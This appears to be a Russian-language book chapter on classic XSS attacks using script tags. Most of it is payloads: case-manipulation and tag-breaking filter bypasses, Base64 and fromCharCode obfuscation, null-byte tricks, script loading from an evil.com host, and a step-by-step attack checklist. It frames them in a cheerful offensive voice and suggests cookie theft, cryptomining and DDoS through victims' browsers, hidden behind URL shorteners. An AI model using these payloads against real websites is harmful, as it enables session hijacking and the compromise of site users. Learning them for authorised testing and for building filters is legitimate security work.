Книга: «Все об уязвимости XSS». Глава 4. Классические векторы атаки 💉 • `<script>` тэги: олдскульная классика

Если бы у XSS был свой пантеон богов, то тег &lt;script&gt; занимал бы в нём место Зевса. Это прародитель, альфа и омега, тот самый OG (Original Gangster) из мира веб-уязвимостей. Все эти новомодные onerror , &lt;svg&gt; , DOM Clobbering — это его дети и внуки. Но, как и с хорошим виски или старым рок-н-роллом, классика не стареет. И сегодня, в 2025 году, грамотно вставленный тег &lt;script&gt; всё так же способен положить на лопатки самые навороченные веб-приложения. Давай разберём, почему этот старичок до сих пор в строю и как заставить его работать на тебя.

Анатомия зверя: почему это так просто и так мощно

Суть атаки с <script> гениальна в своей простоте. Ты просто говоришь браузеру: “Эй, парень, остановись читать этот скучный HTML. Сейчас будет JavaScript. Выполняй!”.

Вот как это работает на молекулярном уровне:

1. Браузер парсит HTML-документ сверху вниз.

2. Натыкается на открывающий тег <script> .

3. Он мгновенно переключает свой парсер из режима “HTML” в режим “JavaScript”.

4. Всё, что находится между <script> и </script> , он воспринимает как чистый, нативный JavaScript-код и исполняет его немедленно.

5. Встретив </script> , он возвращается в режим парсинга HTML.

Это даёт тебе прямую, беспрепятственную инъекцию кода. Не нужно никаких ухищрений с событиями, никаких кликов от пользователя, никаких ошибок загрузки ресурсов. Просто, грубо и эффективно. Твой код выполняется в контексте целевого сайта, получая полный доступ к его DOM, cookies (если не HTTPOnly), localStorage и всему, до чего может дотянуться JavaScript в рамках Same Origin Policy.

Олдскул — не значит бесполезно: обход фильтров

“Но ведь любой школьник знает, что надо фильтровать <script> !” — скажешь ты. И будешь прав. Большинство WAF’ов и серверных фильтров первым делом нацеливаются именно на этот тег. Но в этом и заключается игра. Разработчики защиты ставят забор, а мы ищем в нём дыры.

Вариация 1: Игры с регистром (Case Manipulation)

Самый тупой, но на удивление часто работающий метод. Многие самописные фильтры на основе регулярных выражений проверяют только строчные буквы.

Классика:

<script>alert(1)</script>

Обход:

<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>

HTML по своей природе нечувствителен к регистру имён тегов. Если админ написал preg_replace(&#039;/&lt;script&gt;/i&#039;, &#039;&#039;, $input) без флага i (ignore case), он уже проиграл. Всегда пробуй этот вариант первым.

Вариация 2: Внешний источник ( src атрибут)

Зачем пихать весь свой зловредный код прямо в инъекцию? Это шумно и легко детектится. Гораздо элегантнее — подгрузить его с твоего сервера.

Payload:

<script src="https://evil.com/payload.js"></script>

Почему это круто:

• Скрытность: Фильтр видит только ссылку, а не document.cookie или eval . Это выглядит менее подозрительно.

• Объём: Ты можешь подгрузить хоть 1000 строк кода. Попробуй-ка запихнуть столько в один input.

• Гибкость: Ты можешь поменять payload.js на своём сервере в любой момент, не делая повторную инъекцию. Сегодня ты крадёшь куки, завтра — майнишь крипту, послезавтра — используешь браузер жертвы для DDoS.

• Маскировка: Используй сервисы сокращения URL (типа bit.ly ), чтобы сделать ссылку ещё короче и незаметнее.

Вариация 3: Кодировки и обфускация

Даже если тег <script> разрешён, фильтр может проверять его содержимое. И тут начинается настоящее искусство.

Обфускация содержимого скрипта

Задача: Спрятать alert(1) от фильтра.

С помощью eval и atob (Base64):

<script>eval(atob('YWxlcnQoMSk='))</script>

YWxlcnQoMSk= — это alert(1) , закодированное в Base64. atob() его декодирует, а eval() выполняет. Классика.

С помощью String.fromCharCode :

<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

Мы просто собираем строку alert(1) из её ASCII-кодов. WAF, ищущий строку “alert”, идёт лесом.

С помощью конкатенации:

<script>window['a'+'lert'](1)</script>

Собираем имя функции из частей. Для фильтра это просто две строки.

HTML-кодирование самого тега

Иногда сервер сначала декодирует HTML-сущности, а потом вставляет результат в страницу. Это редкая удача, но проверять стоит.

Payload:

&#60;script&#62;alert(1)&#60;/script&#62;
&lt;script&gt;alert(1)&lt;/script&gt;

Вариация 4: Игры с синтаксисом HTML

HTML — очень прощающий язык. Этим можно и нужно пользоваться.

Разрыв тега (Tag Breaking):

Некоторые WAF’ы работают по принципу “нашёл и заменил”.

<scr<script>ipt>alert(1)</scr</script>ipt>

Если WAF вырежет внутренний &lt;script&gt; , останется &lt;script&gt;alert(1)&lt;/script&gt; .

Лишние символы и пробелы:

<script >alert(1)</script>
<script/src="https://evil.com/x.js"></script>
<script
src="https://evil.com/x.js"
>
</script>

Пробелы, табы, переносы строк внутри тега (но до &gt; ) абсолютно легальны и могут сбить с толку примитивные парсеры.

Null-байт ( %00 ):

<scri%00pt>alert(1)</scri%00pt>

В некоторых старых системах (особенно написанных на C/C++) null-байт может оборвать строку, и фильтр просто не увидит слово script целиком. Сегодня это работает редко, но в легаси-системах — вполне.

Чеклист для атаки с <script>

Вот твой пошаговый план действий, когда ты в HTML-контексте:

1. Пробуй в лоб: <script>alert(document.domain)</script> Если сработало, тебе повезло.

2. Пробуй внешний источник: <script src="https://твой.домен/test.js"></script> В test.js положи alert(1) .

3. Пробуй игры с регистром: <ScRiPt sRc="https://твой.домен/test.js"></sCrIpT>

4. Пробуй обфусцировать код внутри: <script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>

5. Пробуй разрыв тега и мусор: <script <nonsense> >alert(1)</script> <script/x>alert(1)</script>

6. Пробуй разные кодировки HTML: &lt;script&gt;...&lt;/script&gt;

Когда <script> — твой враг

Важно помнить о контексте. Если твоя инъекция попадает внутрь другого тега или, что ещё хуже, внутрь существующего скрипта, то <script> тебе не поможет.

Неправильно:

<!-- Твой ввод попадает в атрибут -->
<a href="<script>alert(1)</script>">Link</a>
<!-- Твой ввод попадает в JS-строку -->
<script>
var page = '<script>alert(1)</script>';
</script>

В этих случаях браузер воспримет твой &lt;script&gt; как обычный текст. Здесь нужны другие векторы атаки, о которых мы поговорим в следующих главах.

Заключение

Тег <script> — это дедушка XSS. Его пытаются заблокировать, отфильтровать, объявить вне закона. Но он, как Терминатор, возвращается снова и снова в разных обличиях. Он прост, надёжен и бьёт точно в цель.

Изучение техник обхода фильтров для <script> — это лучшая тренировка для любого эксплойт-разработчика. Это учит тебя думать, как WAF, предугадывать логику защиты и находить в ней изъяны. И хотя в нашем арсенале есть и более изощрённые инструменты, иногда нет ничего лучше старого доброго <script> , чтобы показать, кто здесь главный.

44 views·4 shares